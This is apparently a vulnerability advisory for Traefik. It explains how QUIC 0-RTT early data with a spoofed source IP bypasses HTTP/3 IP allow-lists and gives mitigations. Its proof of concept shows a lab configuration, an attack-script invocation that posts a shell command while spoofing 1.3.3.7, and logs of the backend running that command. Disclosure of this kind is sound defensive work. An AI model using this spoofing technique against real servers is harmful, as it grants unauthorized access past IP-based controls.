Details

HTTP/3 supports sending HTTP requests as early data during QUIC 0-RTT handshakes to reduce RTT overhead for connection resumptions. Early data is sent and received before the handshake is completed and the client's IP address is validated.
The initial packet containing the QUIC 0-RTT handshake information and the early data HTTP request are sent as a single UDP datagram. Due to UDP being used by QUIC, the source IP address can be spoofed. When HTTP/3 servers process early data requests, the application layer only sees the unvalidated - possibly spoofed - IP address.

First, attackers have to obtain a session ticket from the HTTP/3 server. For that, attackers have to establish an HTTP/3 connection to the server - using their real IP address - and wait for the server to send a session ticket. Note that attackers do not have to send an actual HTTP request over the established connection. After obtaining the session ticket, the attacker can close the connection. In the second step, attackers need to prepare a UDP datagram containing a QUIC initial packet with a TLS ClientHello and the session ticket, a QUIC 0-RTT packet with early data encrypted with the pre-shared key from the session ticket, and an HTTP/3 request (open request stream, HEADERS frame, optionally DATA frame). This prepared UDP datagram can then be sent to the server with an arbitrarily spoofed source IP address in the IP packet header. When processing the HTTP request, the server trusts the spoofed IP address, which can be used to bypass IP-allow/block-lists.

A prerequisite for this attack to succeed is that HTTP/3 servers have implemented and enabled 0-RTT early data for HTTP/3 requests (and no mitigations are in place). A caveat is that attackers are not able to receive the server's response because the response is sent to the spoofed source IP address, making it a blind attack. Another limitation is that the request has to fit in a single UDP datagram, whose size is limited by the network path's MTU (minus some bytes for headers of encapsulating protocols such as HTTP/3, QUIC, UDP, IPv4/IPv6).

Impact

IP allow-lists can be bypassed. Early data in QUIC 0-RTT handshakes is enabled when HTTP/3 support is enabled.

Mitigation

• Consider responding with HTTP status code 425 Too Early when 0-RTT early data requests match ipAllowList.sourceRange middleware. See RFC 8470 Section 3 for more information.
• Alternatively, delay processing of 0-RTT early data requests until the handshake is completed and the client's IP address is validated when 0-RTT early data requests match ipAllowList.sourceRange middleware.

Additionally, it is recommended to implement RFC 8470 and set the Early-Data: 1 header when forwarding early data requests to backend services. Currently, applications are not able to distinguish between 0-RTT early data requests and regular requests. When applications use the client's IP in X-Forwarded-For headers (e.g. for rate limiting), they are not able to detect potential IP spoofing on the application layer.

Proof of Concept

Traefik is used as a HTTP/3 reverse proxy for a backend application. An IP allow list is configured to only allow access from the IP address 1.3.3.7.

# /etc/traefik/traefik.yml
entryPoints:
  websecure:
    address: ":4439"
    http3: {}
    asDefault: true

providers:
  file:
    filename: /etc/traefik/provider.yml

log:
  level: DEBUG

# /etc/traefik/provider.yml
http:
  routers:
    default:
      rule: "PathPrefix(`/`)"
      tls: {}
      middlewares:
        - ipfilter
      service: backend
  
  middlewares:
    ipfilter:
      ipAllowList:
        sourceRange:
          - "1.3.3.7/32"

  services:
    backend:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8000"

By performing the steps described above, attackers are able to bypass the IP allow list and send requests to the backend application. The security impact depends on the application's logic.

Please find attached a proof-of-concept docker-compose setup to demonstrate the vulnerability. It consists of a traefik reverse proxy, a backend application, and an attacker container. The attack script performs following request:

python3 http3_ip_spoofing.py https://127.0.0.1:4439/cmd -X POST -d "cmd=echo%20worked>>/tmp/spoofed" -H "X-Header: test" --spoofed-ip=1.3.3.7

Note: We use a custom python script because, curl does not support QUIC 0-RTT requests and session resumtion yet.

proof-of-concept.zip

Here are logs of a successful exploitation in the attached docker compose setup:

docker compose up

# Traefik startup logs
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:100 > Traefik version 3.0.3 built on 2024-06-18T14:31:20Z version=3.0.3
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/cmd/traefik/traefik.go:107 > Static configuration loaded [json] staticConfiguration={"entryPoints":{"websecure":{"address":":4439","asDefault":true,"forwardedHeaders":{},"http":{},"http2":{"maxConcurrentStreams":250},"http3":{},"transport":{"lifeCycle":{"graceTimeOut":"10s"},"respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"1m0s"}},"udp":{"timeout":"3s"}}},"global":{"checkNewVersion":true},"log":{"format":"common","level":"DEBUG"},"providers":{"file":{"filename":"/etc/traefik/provider.yml","watch":true},"providersThrottleDuration":"2s"},"serversTransport":{"maxIdleConnsPerHost":200},"tcpServersTransport":{"dialKeepAlive":"15s","dialTimeout":"30s"}}
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:605 > 
h3_traefik-1         | Stats collection is disabled.
h3_traefik-1         | Help us improve Traefik by turning this feature on :)
h3_traefik-1         | More details on: https://doc.traefik.io/traefik/contributing/data-collection/
h3_traefik-1         | 
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:73 > Starting provider aggregator aggregator.ProviderAggregator
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/server_entrypoint_tcp.go:220 > Starting TCP Server entryPointName=websecure
h3_traefik-1         | 2024-06-29T11:52:58Z DBG log/log.go:245 > 2024/06/29 11:52:58 sys_conn.go:36: failed to sufficiently increase receive buffer size (was: 208 kiB, wanted: 2048 kiB, got: 416 kiB). See https://github.com/quic-go/quic-go/wiki/UDP-Buffer-Sizes for details.
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *file.Provider
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *file.Provider provider configuration config={"filename":"/etc/traefik/provider.yml","watch":true}
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik/provider.yml
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *traefik.Provider
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *traefik.Provider provider configuration config={}
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *acme.ChallengeTLSALPN
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *acme.ChallengeTLSALPN provider configuration config={}
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"middlewares":{"ipfilter":{"ipAllowList":{"sourceRange":["1.3.3.7/32"]}}},"routers":{"default":{"middlewares":["ipfilter"],"rule":"PathPrefix(`/`)","service":"backend","tls":{}}},"services":{"backend":{"loadBalancer":{"passHostHeader":true,"responseForwarding":{"flushInterval":"100ms"},"servers":[{"url":"http://127.0.0.1:8000"}]}}}},"tcp":{},"tls":{},"udp":{}} providerName=file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"serversTransports":{"default":{"maxIdleConnsPerHost":200}},"services":{"noop":{}}},"tcp":{"serversTransports":{"default":{"dialKeepAlive":"15s","dialTimeout":"30s"}}},"tls":{},"udp":{}} providerName=internal
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/aggregator.go:51 > No entryPoint defined for this router, using the default one(s) instead entryPointName=["websecure"] routerName=default
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:321 > No default certificate, fallback to the internal generated certificate tlsStoreName=default
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:259 > Creating load-balancer entryPointName=websecure routerName=default@file serviceName=backend@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:301 > Creating server entryPointName=websecure routerName=default@file serverName=754e0da3b063885a serviceName=backend@file target=http://127.0.0.1:8000
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:33 > Creating middleware entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:57 > Setting up IPAllowLister with sourceRange: [1.3.3.7/32] entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/observability/middleware.go:33 > Adding tracing to middleware entryPointName=websecure middlewareName=ipfilter@file routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/recovery/recovery.go:22 > Creating middleware entryPointName=websecure middlewareName=traefik-internal-recovery middlewareType=Recover

# Attack script establishes an HTTP/3 connection to traefik to obtain a session ticket
attack-ipspoofing-1  | INFO:client:Initially connecting to server to get a session ticket
attack-ipspoofing-1  | INFO:quic:[e29b2e2fd9a76162] ALPN negotiated protocol h3
attack-ipspoofing-1  | INFO:quic:[e29b2e2fd9a76162] Connection close sent (code 0x0, reason )
attack-ipspoofing-1  | INFO:client:Initial connection done

# Traefik accepts the HTTP/3 connection and issues as session ticket 
h3_traefik-1         | 2024-06-29T11:53:03Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:228 > Serving default certificate for request: ""

# Attack script sends a 0-RTT early data request in a UDP datagram with a spoofed source IP
attack-ipspoofing-1  | INFO:client:Building 0-RTT QUIC packet
attack-ipspoofing-1  | INFO:client:Setting up iptables rule for source IP spoofing
attack-ipspoofing-1  | INFO:client:Sending 0-RTT packet

# Traefik accepts and forwards the request to the backend service, bypassing the IP allow list
h3_traefik-1         | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:85 > Accepting IP 1.3.3.7 middlewareName=ipfilter@file middlewareType=IPAllowLister
h3_traefik-1         | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/server/service/loadbalancer/wrr/wrr.go:196 > Service selected by WRR: 754e0da3b063885a

# Backend service receives and processes the request
backend-1            | INFO:root:Request: {"ip": "1.3.3.7", "method": "POST", "path": "/cmd", "data": "cmd=echo%20worked>>/tmp/spoofed", "headers": {"Host": "127.0.0.1:4439", "Content-Length": "31", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-For": "1.3.3.7", "X-Forwarded-Host": "127.0.0.1:4439", "X-Forwarded-Port": "4439", "X-Forwarded-Proto": "https", "X-Forwarded-Server": "work", "X-Header": "test", "X-Real-Ip": "1.3.3.7", "Accept-Encoding": "gzip"}}
backend-1            | INFO:root:Executing command: echo worked>>/tmp/spoofed